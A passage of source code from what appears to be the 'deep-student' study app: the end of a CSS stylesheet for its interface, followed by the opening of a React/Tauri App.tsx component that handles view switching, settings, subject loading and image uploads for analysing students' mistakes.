box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1) !important;
}
.save-all-settings-button:disabled {
background: #f1f5f9 !important;
color: #94a3b8 !important;
border-color: #e2e8f0 !important;
box-shadow: none !important;
cursor: not-allowed !important;
}
/* API配置卡片中的按钮样式 */
.api-card .btn {
font-weight: 500 !important;
transition: all 0.15s ease !important;
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05) !important;
border-width: 1px !important;
border-style: solid !important;
}
/* 测试连接按钮 */
.api-card .btn-primary {
background: #f0f9ff !important;
color: #0369a1 !important;
border-color: #e2e8f0 !important;
}
.api-card .btn-primary:hover:not(:disabled) {
background: #e0f2fe !important;
border-color: #0369a1 !important;
box-shadow: 0 2px 4px rgba(3, 105, 161, 0.1) !important;
}
.api-card .btn-primary:disabled {
background: #f1f5f9 !important;
color: #94a3b8 !important;
border-color: #e2e8f0 !important;
box-shadow: none !important;
cursor: not-allowed !important;
}
/* 编辑按钮 */
.api-card .btn-secondary {
background: #fef3c7 !important;
color: #d97706 !important;
border-color: #fbbf24 !important;
}
.api-card .btn-secondary:hover {
background: #fde68a !important;
border-color: #d97706 !important;
box-shadow: 0 2px 4px rgba(217, 119, 6, 0.1) !important;
}
/* 删除按钮 */
.api-card .btn-danger {
background: #fee2e2 !important;
color: #dc2626 !important;
border-color: #fca5a5 !important;
}
.api-card .btn-danger:hover {
background: #fecaca !important;
border-color: #dc2626 !important;
box-shadow: 0 2px 4px rgba(220, 38, 38, 0.1) !important;
}
/* 勾选框样式优化 */
.checkbox-group .checkbox-container {
display: flex;
justify-content: space-between;
align-items: center;
padding: 0.75rem;
border: 1px solid #ddd;
border-radius: 6px;
background: #f8f9fa;
transition: all 0.2s ease;
}
.checkbox-group .checkbox-container:hover {
border-color: #007bff;
background: #e7f3ff;
}
.checkbox-group .checkbox-container span {
font-weight: 500;
color: #333;
user-select: none;
}
.checkbox-group .checkbox-container input[type="checkbox"] {
width: 18px;
height: 18px;
cursor: pointer;
accent-color: #007bff;
}
.app-content {
flex: 1;
display: flex;
flex-direction: column;
height: 100vh;
position: relative;
background-color: #f8fafc;
}
.content-header {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1rem;
background: #f8f9fa;
border-bottom: 1px solid #e1e5e9;
z-index: 10;
}
.content-body {
flex: 1;
overflow-y: auto;
padding: 1rem;
}
/* ============================================================================ */
/* Cherry Studio Pro 风格美化样式 - 左侧面板专用 */
/* ============================================================================ */
:root {
--cherry-bg-primary: #ffffff;
--cherry-bg-secondary: #f8f9fa;
--cherry-bg-tertiary: #e9ecef;
--cherry-glass: rgba(255, 255, 255, 0.9);
--cherry-border: rgba(0, 0, 0, 0.08);
--cherry-border-active: rgba(0, 0, 0, 0.2);
--cherry-text-primary: #1f2937;
--cherry-text-secondary: #6b7280;
--cherry-accent: #f472b6;
--cherry-accent-hover: #f9a8d4;
--cherry-radius-xl: 24px;
--cherry-radius-lg: 16px;
--cherry-radius-md: 12px;
--cherry-radius-sm: 8px;
--cherry-shadow: 0 8px 32px rgba(0, 0, 0, 0.1);
--cherry-backdrop: blur(16px);
}
.cherry-app {
width: 100%;
height: auto;
background: var(--cherry-glass);
backdrop-filter: var(--cherry-backdrop);
border: 1px solid var(--cherry-border);
border-radius: var(--cherry-radius-xl);
box-shadow: var(--cherry-shadow);
overflow: visible;
padding: 32px;
box-sizing: border-box;
color: var(--cherry-text-primary);
font-family: 'Geist', -apple-system, BlinkMacSystemFont, sans-serif;
}
.app-header {
margin-bottom: 6px;
text-align: center;
background: transparent;
border: none;
box-shadow: none;
}
.app-title {
font-size: 20px;
font-weight: 600;
margin-bottom: 28px;
letter-spacing: -0.2px;
color: var(--cherry-text-primary);
display: flex;
justify-content: center;
align-items: center;
}
.app-logo {
height: 52px;
width: auto;
object-fit: contain;
}
.app-subtitle {
font-size: 13px;
color: var(--cherry-text-secondary);
font-weight: 400;
}
.upload-card {
position: relative;
margin-bottom: 12px;
border: 1px dashed var(--cherry-border);
border-radius: var(--cherry-radius-lg);
padding: 32px 24px;
text-align: center;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
background: var(--cherry-bg-secondary);
/* 确保拖拽事件可以正常传递 */
pointer-events: auto;
}
.upload-card:hover {
border-color: var(--cherry-border-active);
background: var(--cherry-bg-tertiary);
}
.upload-card.active {
border-color: var(--cherry-accent);
background: linear-gradient(rgba(244, 114, 182, 0.05), rgba(244, 114, 182, 0.05));
}
.upload-card.has-files {
border-style: solid;
border-color: var(--cherry-accent);
background: rgba(244, 114, 182, 0.05);
}
.upload-card:last-child {
margin-bottom: 0;
}
.upload-icon {
width: 48px;
height: 48px;
margin: 0 auto 16px;
display: flex;
align-items: center;
justify-content: center;
background: rgba(244, 114, 182, 0.1);
border-radius: 50%;
color: var(--cherry-accent);
/* 允许拖拽事件穿透 */
pointer-events: none;
}
.upload-icon svg {
animation: none;
}
@keyframes float {
0%, 100% { transform: translateY(0); }
50% { transform: translateY(-4px); }
}
.upload-text {
font-size: 15px;
margin-bottom: 6px;
font-weight: 500;
color: var(--cherry-text-primary);
/* 允许拖拽事件穿透 */
pointer-events: none;
}
.upload-hint {
font-size: 12px;
color: var(--cherry-text-secondary);
letter-spacing: 0.2px;
/* 允许拖拽事件穿透 */
pointer-events: none;
}
.preview-list {
display: flex;
gap: 12px;
overflow-x: auto;
padding-bottom: 8px;
margin-bottom: 20px;
scrollbar-width: thin;
scrollbar-color: var(--cherry-accent) var(--cherry-bg-secondary);
}
.preview-list::-webkit-scrollbar {
height: 4px;
}
.preview-list::-webkit-scrollbar-track {
background: var(--cherry-bg-secondary);
border-radius: 2px;
}
.preview-list::-webkit-scrollbar-thumb {
background-color: var(--cherry-accent);
border-radius: 2px;
}
.preview-item {
position: relative;
flex: 0 0 80px;
height: 80px;
border-radius: var(--cherry-radius-sm);
overflow: hidden;
background: var(--cherry-bg-tertiary);
}
.preview-image {
width: 100%;
height: 100%;
object-fit: cover;
cursor: pointer;
}
.preview-remove {
position: absolute;
top: 4px;
right: 4px;
width: 18px;
height: 18px;
background: rgba(0, 0, 0, 0.7);
border-radius: 50%;
display: flex;
align-items: center;
justify-content: center;
cursor: pointer;
opacity: 0;
transition: opacity 0.2s ease;
}
.preview-item:hover .preview-remove {
opacity: 1;
}
.preview-remove svg {
width: 10px;
height: 10px;
}
.input-container {
margin-bottom: 20px;
}
.input-label {
display: block;
font-size: 13px;
font-weight: 500;
margin-bottom: 10px;
color: var(--cherry-text-primary);
letter-spacing: 0.3px;
}
.cherry-textarea {
width: 100%;
padding: 16px;
background: var(--cherry-bg-secondary);
border: 1px solid var(--cherry-border);
border-radius: var(--cherry-radius-lg);
font-family: 'Geist', sans-serif;
font-size: 14px;
color: var(--cherry-text-primary);
transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
resize: none;
min-height: 120px;
line-height: 1.5;
}
.cherry-textarea:focus {
outline: none;
border-color: var(--cherry-accent);
box-shadow: 0 0 0 2px rgba(244, 114, 182, 0.2);
background: var(--cherry-bg-tertiary);
}
.cherry-textarea::placeholder {
color: var(--cherry-text-secondary);
opacity: 0.6;
}
.cherry-field {
padding: 16px;
background: var(--cherry-bg-secondary);
border: 1px solid var(--cherry-border);
border-radius: var(--cherry-radius-lg);
font-size: 14px;
color: var(--cherry-text-primary);
line-height: 1.5;
}
.rag-toggle {
display: flex;
align-items: center;
margin-bottom: 24px;
padding: 12px 16px;
background: var(--cherry-bg-secondary);
border-radius: var(--cherry-radius-lg);
cursor: pointer;
transition: all 0.2s ease;
}
.rag-toggle:hover {
background: var(--cherry-bg-tertiary);
}
.rag-toggle input {
position: absolute;
opacity: 0;
width: 0;
height: 0;
pointer-events: none;
}
.rag-switch {
position: relative;
display: inline-block;
width: 40px;
height: 22px;
background: var(--cherry-border);
border-radius: 11px;
margin-right: 12px;
transition: all 0.3s ease;
cursor: pointer;
}
.rag-slider {
position: absolute;
width: 18px;
height: 18px;
background: var(--cherry-text-secondary);
border-radius: 50%;
top: 2px;
left: 2px;
transition: all 0.3s ease;
}
.rag-toggle input:checked + .rag-switch {
background: rgba(244, 114, 182, 0.3);
}
.rag-toggle input:checked + .rag-switch .rag-slider {
background: var(--cherry-accent);
transform: translateX(18px);
}
.rag-label {
font-size: 14px;
font-weight: 500;
color: var(--cherry-text-primary);
}
.rag-hint {
font-size: 12px;
color: var(--cherry-text-secondary);
margin-top: 4px;
margin-left: 52px;
}
/* RAG控制容器 */
.rag-controls-container {
display: flex;
flex-direction: column;
gap: 12px;
margin-bottom: 24px;
}
/* 分库选择器样式 */
.rag-library-selector {
position: relative;
margin-left: 52px;
}
.library-selector-trigger {
display: flex;
align-items: center;
justify-content: space-between;
padding: 8px 12px;
background: var(--cherry-bg-tertiary);
border: 1px solid var(--cherry-border);
border-radius: var(--cherry-radius-lg);
cursor: pointer;
transition: all 0.2s ease;
font-size: 13px;
color: var(--cherry-text-primary);
}
.library-selector-trigger:hover {
background: var(--cherry-bg-secondary);
border-color: var(--cherry-border-active);
}
.library-selector-label {
font-weight: 500;
color: var(--cherry-text-primary);
}
.library-selector-arrow {
color: var(--cherry-text-secondary);
font-size: 12px;
transition: transform 0.2s ease;
}
.library-selector-dropdown {
position: absolute;
top: 100%;
left: 0;
right: 0;
background: white;
border: 1px solid var(--cherry-border);
border-radius: var(--cherry-radius-lg);
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
z-index: 1000;
margin-top: 4px;
max-height: 240px;
overflow: hidden;
display: flex;
flex-direction: column;
}
.library-selector-header {
padding: 8px 12px;
border-bottom: 1px solid var(--cherry-border);
background: var(--cherry-bg-secondary);
flex-shrink: 0;
}
.library-selector-action {
background: none;
border: none;
color: var(--cherry-accent);
font-size: 12px;
font-weight: 500;
cursor: pointer;
padding: 4px 8px;
border-radius: 4px;
transition: all 0.2s ease;
}
.library-selector-action:hover {
background: rgba(244, 114, 182, 0.1);
}
.library-selector-list {
flex: 1;
max-height: 180px;
overflow-y: scroll !important;
min-height: 0;
scrollbar-width: thin;
scrollbar-color: var(--cherry-accent) var(--cherry-bg-secondary);
/* 强制显示滚动条 */
-webkit-overflow-scrolling: touch;
}
.library-selector-list::-webkit-scrollbar {
width: 8px;
}
.library-selector-list::-webkit-scrollbar-track {
background: #f1f1f1;
border-radius: 4px;
margin: 2px;
}
.library-selector-list::-webkit-scrollbar-thumb {
background: #c1c1c1;
border-radius: 4px;
border: 1px solid #f1f1f1;
}
.library-selector-list::-webkit-scrollbar-thumb:hover {
background: #a8a8a8;
}
.library-selector-list::-webkit-scrollbar-corner {
background: #f1f1f1;
}
.library-selector-item {
display: flex;
align-items: center;
gap: 12px;
padding: 10px 12px;
cursor: pointer;
transition: all 0.2s ease;
border-bottom: 1px solid var(--cherry-border);
}
.library-selector-item:last-child {
border-bottom: none;
}
.library-selector-item:hover {
background: var(--cherry-bg-secondary);
}
.library-selector-item.selected {
background: rgba(244, 114, 182, 0.1);
}
.library-checkbox {
flex-shrink: 0;
}
.library-checkbox input[type="checkbox"] {
width: 16px;
height: 16px;
cursor: pointer;
accent-color: var(--cherry-accent);
}
.library-info {
flex: 1;
min-width: 0;
}
.library-name {
font-weight: 500;
color: var(--cherry-text-primary);
font-size: 13px;
margin-bottom: 2px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.library-stats {
font-size: 11px;
color: var(--cherry-text-secondary);
display: flex;
align-items: center;
gap: 8px;
}
.library-selector-empty {
display: flex;
align-items: center;
justify-content: center;
min-height: 60px;
color: var(--cherry-text-secondary);
font-size: 13px;
font-style: italic;
}
.analyze-btn {
width: 100%;
padding: 14px;
background: var(--cherry-accent);
color: #111;
border: none;
border-radius: var(--cherry-radius-lg);
font-size: 14px;
font-weight: 600;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
display: flex;
align-items: center;
justify-content: center;
gap: 8px;
letter-spacing: 0.3px;
margin-bottom: 16px;
}
.analyze-btn:hover {
background: var(--cherry-accent-hover);
transform: translateY(-2px);
}
.analyze-btn:active {
transform: translateY(0);
}
.analyze-btn:disabled {
opacity: 0.6;
cursor: not-allowed;
transform: none;
}
.btn-icon {
width: 16px;
height: 16px;
}
.counter-badge {
position: absolute;
top: 12px;
right: 12px;
background: var(--cherry-accent);
color: #111;
font-size: 11px;
font-weight: 600;
padding: 2px 6px;
border-radius: 10px;
/* 允许拖拽事件穿透 */
pointer-events: none;
}
.action-buttons-cherry {
display: flex;
gap: 12px;
flex-wrap: wrap;
}
.save-btn-cherry, .reset-btn-cherry, .back-btn-cherry {
flex: 1;
min-width: 120px;
padding: 12px 16px;
border: none;
border-radius: var(--cherry-radius-lg);
font-size: 13px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
}
.save-btn-cherry {
background: var(--cherry-accent);
color: #111;
}
.save-btn-cherry:hover {
background: var(--cherry-accent-hover);
transform: translateY(-1px);
}
.reset-btn-cherry {
background: var(--cherry-bg-tertiary);
color: var(--cherry-text-primary);
border: 1px solid var(--cherry-border);
}
.reset-btn-cherry:hover {
background: var(--cherry-bg-secondary);
border-color: var(--cherry-border-active);
transform: translateY(-1px);
}
.back-btn-cherry {
background: var(--cherry-bg-tertiary);
color: var(--cherry-text-primary);
border: 1px solid var(--cherry-border);
}
.back-btn-cherry:hover {
background: var(--cherry-bg-secondary);
border-color: var(--cherry-border-active);
transform: translateY(-1px);
}
.no-images {
text-align: center;
padding: 40px 20px;
color: var(--cherry-text-secondary);
font-size: 14px;
background: var(--cherry-bg-secondary);
border-radius: var(--cherry-radius-lg);
border: 1px dashed var(--cherry-border);
}
/* 只读模式样式调整 */
.preview-list.readonly {
margin-bottom: 16px;
}
.preview-item.readonly .preview-remove {
display: none;
}
.file-input {
display: none;
pointer-events: none;
position: absolute;
z-index: -1;
}
/* 新增样式 - 科目显示 */
.readonly-subject-display {
text-align: center;
margin-bottom: 20px;
}
.subject-badge {
display: inline-block;
background: var(--cherry-bg-tertiary);
color: var(--cherry-text-primary);
padding: 8px 16px;
border-radius: 20px;
font-size: 14px;
font-weight: 500;
border: 1px solid var(--cherry-border);
}
/* 只读模式样式 */
.upload-card.readonly-mode {
background: var(--cherry-bg-tertiary);
border: 1px solid var(--cherry-border);
cursor: default;
}
.upload-card.readonly-mode:hover {
background: var(--cherry-bg-tertiary);
border: 1px solid var(--cherry-border);
}
.cherry-textarea.readonly {
background: var(--cherry-bg-tertiary);
border: 1px solid var(--cherry-border);
cursor: default;
resize: none;
}
/* 返回按钮样式 */
.analyze-btn.back-mode {
background: var(--cherry-bg-tertiary);
color: var(--cherry-text-primary);
border: 1px solid var(--cherry-border);
}
.analyze-btn.back-mode:hover {
background: var(--cherry-bg-secondary);
border-color: var(--cherry-border-active);
}
/* 次要按钮样式 */
.secondary-buttons {
display: flex;
gap: 12px;
margin-top: 12px;
}
.save-btn-secondary, .reset-btn-secondary {
flex: 1;
padding: 10px 14px;
border: none;
border-radius: var(--cherry-radius-lg);
font-size: 12px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s cubic-bezier(0.16, 1, 0.3, 1);
display: flex;
align-items: center;
justify-content: center;
gap: 4px;
}
.save-btn-secondary {
background: rgba(244, 114, 182, 0.2);
color: var(--cherry-accent);
border: 1px solid rgba(244, 114, 182, 0.3);
}
.save-btn-secondary:hover {
background: rgba(244, 114, 182, 0.3);
transform: translateY(-1px);
}
.reset-btn-secondary {
background: var(--cherry-bg-tertiary);
color: var(--cherry-text-secondary);
border: 1px solid var(--cherry-border);
}
.reset-btn-secondary:hover {
background: var(--cherry-bg-secondary);
color: var(--cherry-text-primary);
border-color: var(--cherry-border-active);
transform: translateY(-1px);
}
/* Cherry组件专用样式已定义在上方 */
|
000haoji/deep-student
| 70,864 |
src/App.tsx
|
import { useState, useEffect, useCallback, useMemo } from 'react';
import { getCurrentWebviewWindow } from '@tauri-apps/api/webviewWindow';
import { MistakeLibrary } from './components/MistakeLibrary';
import { Settings } from './components/Settings';
import { BatchAnalysis } from './components/BatchAnalysis';
import UniversalAppChatHost, { HostedChatApiProvider, UniversalAppChatHostProps } from './components/UniversalAppChatHost';
// DEPRECATED: 单次回顾模块已废弃 - 2024年6月5日，功能被统一回顾替代
// import { ReviewAnalysis } from './components/ReviewAnalysis';
import { Dashboard } from './components/Dashboard';
import ReviewAnalysisDashboard from './components/ReviewAnalysisDashboard';
import CreateReviewAnalysisView from './components/CreateReviewAnalysisView';
import ReviewAnalysisSessionView from './components/ReviewAnalysisSessionView';
// DEPRECATED: import { ReviewAnalysisLibrary } from './components/ReviewAnalysisLibrary';
import { DataImportExport } from './components/DataImportExport';
import { MessageWithThinking } from './chat-core';
import AnkiCardGeneration from './components/AnkiCardGeneration';
import { EnhancedKnowledgeBaseManagement } from './components/EnhancedKnowledgeBaseManagement';
import { EnhancedRagQueryView } from './components/EnhancedRagQueryView';
import ImageOcclusion from './components/ImageOcclusion';
import TemplateManagementPage from './components/TemplateManagementPage';
import KnowledgeGraphManagement from './components/KnowledgeGraphManagement';
import { WindowControls } from './components/WindowControls';
import { useWindowDrag } from './hooks/useWindowDrag';
import { ImageViewer } from './components/ImageViewer';
import { GeminiAdapterTest } from './components/GeminiAdapterTest';
import { ModernSidebar } from './components/ModernSidebar';
// 移除不再使用的streamHandler import
import { TauriAPI, MistakeItem } from './utils/tauriApi';
import { SubjectProvider } from './contexts/SubjectContext';
import { UnifiedSubjectSelector } from './components/shared/UnifiedSubjectSelector';
import './App.css';
import './DeepStudent.css';
import './components/AnkiCardGeneration.css';
import './chat-core/styles/index.css';
import './styles/modern-sidebar.css';
interface ChatMessage {
role: 'user' | 'assistant' | 'system';
content: string;
timestamp: string;
thinking_content?: string;
rag_sources?: Array<{
document_id: string;
file_name: string;
chunk_text: string;
score: number;
chunk_index: number;
}>;
}
interface AnalysisResponse {
temp_id: string;
initial_data: {
ocr_text: string;
tags: string[];
mistake_type: string;
first_answer: string;
};
}
interface ContinueChatResponse {
new_assistant_message: string;
}
type CurrentView = 'analysis' | 'library' | 'settings' | 'mistake-detail' | 'batch' | 'review' | 'dashboard' | 'data-management' | 'unified-review' | 'create-review' | 'review-session' | /* 'review-library' - DEPRECATED */ 'anki-generation' | 'knowledge-base' | 'rag-query' | 'image-occlusion' | 'template-management' | 'gemini-adapter-test' | 'cogni-graph';
// 真实API调用
const analyzeNewMistake = TauriAPI.analyzeNewMistake;
const continueChat = async (request: any): Promise<ContinueChatResponse> => {
return TauriAPI.continueChat(request);
};
function App() {
const [currentView, setCurrentView] = useState<CurrentView>('analysis');
const [selectedMistake, setSelectedMistake] = useState<MistakeItem | null>(null);
const [showDataManagement, setShowDataManagement] = useState(false);
const [sidebarCollapsed, setSidebarCollapsed] = useState(false);
const [isChatFullscreen, setIsChatFullscreen] = useState(false);
const [currentReviewSessionId, setCurrentReviewSessionId] = useState<string | null>(null);
// 🎯 修复：使用固定的分析会话ID，避免重新渲染时组件重新初始化
const [analysisSessionId] = useState(() => `analysis_session_${Date.now()}`);
// 🎯 修复：错题库刷新触发器，每次切换到错题库页面时递增
const [libraryRefreshTrigger, setLibraryRefreshTrigger] = useState<number>(0);
// 🎯 修复：处理页面切换，在切换到错题库时触发刷新
const handleViewChange = (newView: CurrentView) => {
console.log('🔄 页面切换:', currentView, '->', newView);
// 如果切换到错题库页面，触发刷新
if (newView === 'library' && currentView !== 'library') {
console.log('🔄 切换到错题库，触发数据刷新');
setLibraryRefreshTrigger(prev => prev + 1);
}
setCurrentView(newView);
};
// 开发者工具快捷键支持 (仅在生产模式下使用，开发模式依赖Tauri原生支持)
useEffect(() => {
// 检查是否为生产模式
const isProduction = !window.location.hostname.includes('localhost') &&
!window.location.hostname.includes('127.0.0.1') &&
!window.location.hostname.includes('tauri.localhost');
if (!isProduction) {
// 开发模式：不拦截F12，让Tauri原生处理
console.log('🔧 开发模式：使用Tauri原生F12支持');
return;
}
const handleKeyDown = async (event: KeyboardEvent) => {
// 支持多种快捷键组合 (仅生产模式)
const isDevtoolsShortcut =
event.key === 'F12' ||
(event.ctrlKey && event.shiftKey && event.key === 'I') ||
(event.metaKey && event.altKey && event.key === 'I');
if (isDevtoolsShortcut) {
event.preventDefault();
try {
const webview = getCurrentWebviewWindow();
// 使用Tauri 2.x的API
if (await webview.isDevtoolsOpen()) {
await webview.closeDevtools();
console.log('🔧 开发者工具已关闭');
} else {
await webview.openDevtools();
console.log('🔧 开发者工具已打开');
}
} catch (error) {
console.error('❌ 切换开发者工具失败:', error);
// 降级到基本切换方法
try {
const webview = getCurrentWebviewWindow();
await webview.toggleDevtools();
console.log('🔧 使用降级方法打开开发者工具');
} catch (fallbackError) {
console.error('❌ 降级方法也失败:', fallbackError);
}
}
}
};
window.addEventListener('keydown', handleKeyDown);
return () => window.removeEventListener('keydown', handleKeyDown);
}, []);
// 模板管理状态
const [isSelectingTemplate, setIsSelectingTemplate] = useState(false);
const [templateSelectionCallback, setTemplateSelectionCallback] = useState<((template: any) => void) | null>(null);
const [previousView, setPreviousView] = useState<CurrentView>('anki-generation');
// 开发功能设置状态
const [geminiAdapterTestEnabled, setGeminiAdapterTestEnabled] = useState(false);
// 调试App组件状态变化
console.log('🔍 App组件渲染状态:', {
currentView,
currentReviewSessionId,
timestamp: new Date().toISOString()
});
const { startDragging } = useWindowDrag();
// 分析相关状态
const [subject, setSubject] = useState('数学');
const [availableSubjects, setAvailableSubjects] = useState<string[]>([]);
const [isLoadingSubjects, setIsLoadingSubjects] = useState(true);
const [subjectConfigs, setSubjectConfigs] = useState<any[]>([]);
const [userQuestion, setUserQuestion] = useState('');
const [questionImages, setQuestionImages] = useState<File[]>([]);
const [questionImageUrls, setQuestionImageUrls] = useState<string[]>([]);
const [imageViewerOpen, setImageViewerOpen] = useState(false);
const [currentImageIndex, setCurrentImageIndex] = useState(0);
const [isAnalyzing, setIsAnalyzing] = useState(false);
const [analysisResult, setAnalysisResult] = useState<AnalysisResponse | null>(null);
const [chatHistory, setChatHistory] = useState<ChatMessage[]>([]);
const [currentMessage, setCurrentMessage] = useState('');
const [isChatting, setIsChatting] = useState(false);
const [streamingMessageIndex, setStreamingMessageIndex] = useState<number | null>(null);
const [isInputAllowed, setIsInputAllowed] = useState(false);
const [useStreamMode] = useState(true); // 固定启用流式模式
// 新增状态：用于立即显示OCR结果
const [ocrResult, setOcrResult] = useState<{
ocr_text: string;
tags: string[];
mistake_type: string;
} | null>(null);
const [isOcrComplete, setIsOcrComplete] = useState(false);
const [enableChainOfThought] = useState(true); // 固定启用思维链
const [thinkingContent, setThinkingContent] = useState<Map<number, string>>(new Map()); // 存储每条消息的思维链内容
// RAG相关状态
const [enableRag, setEnableRag] = useState(false);
const [ragTopK, setRagTopK] = useState(5);
const [selectedLibraries, setSelectedLibraries] = useState<string[]>([]);
// 批量分析功能开关状态
const [batchAnalysisEnabled, setBatchAnalysisEnabled] = useState(false);
// 图片遮罩卡功能开关状态
const [imageOcclusionEnabled, setImageOcclusionEnabled] = useState(false);
// 加载支持的科目和科目配置
useEffect(() => {
const loadSubjects = async () => {
try {
const subjects = await TauriAPI.getSupportedSubjects();
setAvailableSubjects(subjects);
// 设置默认科目为第一个
if (subjects.length > 0) {
setSubject(subjects[0]);
}
} catch (error) {
console.error('加载科目失败:', error);
// 如果API失败，使用备用科目列表
const fallbackSubjects = ['数学', '物理', '化学', '英语'];
setAvailableSubjects(fallbackSubjects);
setSubject(fallbackSubjects[0]);
} finally {
setIsLoadingSubjects(false);
}
};
const loadSubjectConfigs = async () => {
try {
const configs = await TauriAPI.getAllSubjectConfigs(true); // 只获取启用的科目配置
setSubjectConfigs(configs);
} catch (error) {
console.error('加载科目配置失败:', error);
setSubjectConfigs([]);
} finally {
// Loading completed
}
};
loadSubjects();
loadSubjectConfigs();
}, []);
// 加载RAG设置、批量分析设置和开发功能设置
const loadSettings = async () => {
try {
const [ragEnabled, ragTopKSetting, batchAnalysisEnabledSetting, geminiAdapterTestEnabledSetting, imageOcclusionEnabledSetting] = await Promise.all([
TauriAPI.getSetting('rag_enabled').catch(() => 'false'),
TauriAPI.getSetting('rag_top_k').catch(() => '5'),
TauriAPI.getSetting('batch_analysis_enabled').catch(() => 'false'),
TauriAPI.getSetting('gemini_adapter_test_enabled').catch(() => 'false'),
TauriAPI.getSetting('image_occlusion_enabled').catch(() => 'false'),
]);
console.log('🔄 加载系统设置:', { ragEnabled, ragTopKSetting, batchAnalysisEnabledSetting, geminiAdapterTestEnabledSetting, imageOcclusionEnabledSetting });
setEnableRag(ragEnabled === 'true');
setRagTopK(parseInt(ragTopKSetting || '5') || 5);
setBatchAnalysisEnabled(batchAnalysisEnabledSetting === 'true');
setGeminiAdapterTestEnabled(geminiAdapterTestEnabledSetting === 'true');
setImageOcclusionEnabled(imageOcclusionEnabledSetting === 'true');
} catch (error) {
console.error('加载设置失败:', error);
}
};
useEffect(() => {
loadSettings();
}, []);
// 监听设置变化，如果禁用了功能且当前在对应页面，则跳转到分析页面
useEffect(() => {
if (!geminiAdapterTestEnabled && currentView === 'gemini-adapter-test') {
console.log('🔄 Gemini适配器测试已禁用，跳转到分析页面');
setCurrentView('analysis');
}
if (!imageOcclusionEnabled && currentView === 'image-occlusion') {
console.log('🔄 图片遮罩卡已禁用，跳转到分析页面');
setCurrentView('analysis');
}
}, [geminiAdapterTestEnabled, imageOcclusionEnabled, currentView]);
// 监听窗口焦点，当用户切换回页面时重新加载设置
useEffect(() => {
const handleWindowFocus = () => {
console.log('🔄 窗口获得焦点，重新加载系统设置');
loadSettings();
};
window.addEventListener('focus', handleWindowFocus);
return () => {
window.removeEventListener('focus', handleWindowFocus);
};
}, []);
// 处理聊天全屏切换 - 简化为直接状态切换
const handleChatFullscreenToggle = () => {
setIsChatFullscreen(!isChatFullscreen);
};
// 处理图片上传
const handleImageUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
const files = Array.from(e.target.files || []);
const remainingSlots = 9 - questionImages.length;
const filesToAdd = files.slice(0, remainingSlots);
if (filesToAdd.length > 0) {
setQuestionImages(prev => [...prev, ...filesToAdd]);
// URL管理由useEffect自动处理，不需要在这里手动创建
}
// 清空input
e.target.value = '';
};
// 删除图片
const removeImage = (index: number) => {
// 只需要更新questionImages状态，URL管理由useEffect自动处理
setQuestionImages(prev => prev.filter((_, i) => i !== index));
};
// 打开图片查看器
const openImageViewer = (index: number) => {
setCurrentImageIndex(index);
setImageViewerOpen(true);
};
// 优化的文件上传点击处理器
const handleFileUploadClick = useCallback(() => {
const fileInput = document.querySelector('.file-input') as HTMLInputElement;
if (fileInput) {
fileInput.click();
}
}, []);
// 处理模板选择请求
const handleTemplateSelectionRequest = useCallback((callback: (template: any) => void) => {
setPreviousView(currentView);
setTemplateSelectionCallback(() => callback);
setIsSelectingTemplate(true);
setCurrentView('template-management');
}, [currentView]);
// 处理模板选择完成
const handleTemplateSelected = useCallback((template: any) => {
if (templateSelectionCallback) {
templateSelectionCallback(template);
}
setIsSelectingTemplate(false);
setTemplateSelectionCallback(null);
setCurrentView(previousView);
}, [templateSelectionCallback, previousView]);
// 取消模板选择
const handleTemplateSelectionCancel = useCallback(() => {
setIsSelectingTemplate(false);
setTemplateSelectionCallback(null);
setCurrentView(previousView);
}, [previousView]);
// 键盘快捷键
useEffect(() => {
const handleKeyDown = (e: KeyboardEvent) => {
// 只在没有输入框聚焦时处理快捷键
if (e.target instanceof HTMLInputElement || e.target instanceof HTMLTextAreaElement) {
return;
}
// Ctrl/Cmd + 数字键切换视图 (已移除开发工具相关快捷键)
if ((e.ctrlKey || e.metaKey) && !e.shiftKey && !e.altKey) {
switch (e.key) {
case '1':
e.preventDefault();
handleViewChange('analysis');
break;
case '2':
e.preventDefault();
if (batchAnalysisEnabled) {
handleViewChange('batch');
}
break;
case '3':
e.preventDefault();
handleViewChange('unified-review');
break;
case '4':
e.preventDefault();
handleViewChange('library');
break;
case '5':
e.preventDefault();
handleViewChange('dashboard');
break;
case '6':
e.preventDefault();
setCurrentView('settings');
break;
case '7':
e.preventDefault();
setCurrentView('image-occlusion');
break;
case '8':
e.preventDefault();
if (geminiAdapterTestEnabled) {
setCurrentView('gemini-adapter-test');
}
break;
case 's':
e.preventDefault();
setCurrentView('settings');
break;
case 'e':
e.preventDefault();
setCurrentView('data-management');
break;
case 'r':
e.preventDefault();
console.log('🔄 手动刷新系统设置 (Ctrl+R)');
loadSettings();
// 同时刷新其他相关设置
break;
}
}
};
document.addEventListener('keydown', handleKeyDown);
return () => document.removeEventListener('keydown', handleKeyDown);
}, [currentView, showDataManagement, isChatFullscreen, batchAnalysisEnabled, geminiAdapterTestEnabled]);
// 管理题目图片URL的生命周期
useEffect(() => {
// 清理旧的URLs（避免在第一次渲染时清理不存在的URLs）
if (questionImageUrls.length > 0) {
questionImageUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
}
// 创建新的URLs
const newUrls = questionImages.map(file => {
try {
return URL.createObjectURL(file);
} catch (error) {
console.error('创建图片URL失败:', error);
return '';
}
}).filter(url => url !== '');
setQuestionImageUrls(newUrls);
// 清理函数
return () => {
newUrls.forEach(url => {
try {
URL.revokeObjectURL(url);
} catch (error) {
console.warn('清理URL时出错:', error);
}
});
};
}, [questionImages]); // 仅依赖questionImages，避免questionImageUrls导致循环
// 开始分析
const handleAnalyze = async () => {
if (!userQuestion.trim() || questionImages.length === 0) {
alert('请输入问题并上传至少一张题目图片');
return;
}
setIsAnalyzing(true);
setStreamingMessageIndex(null);
setOcrResult(null);
setIsOcrComplete(false);
setAnalysisResult(null);
setChatHistory([]);
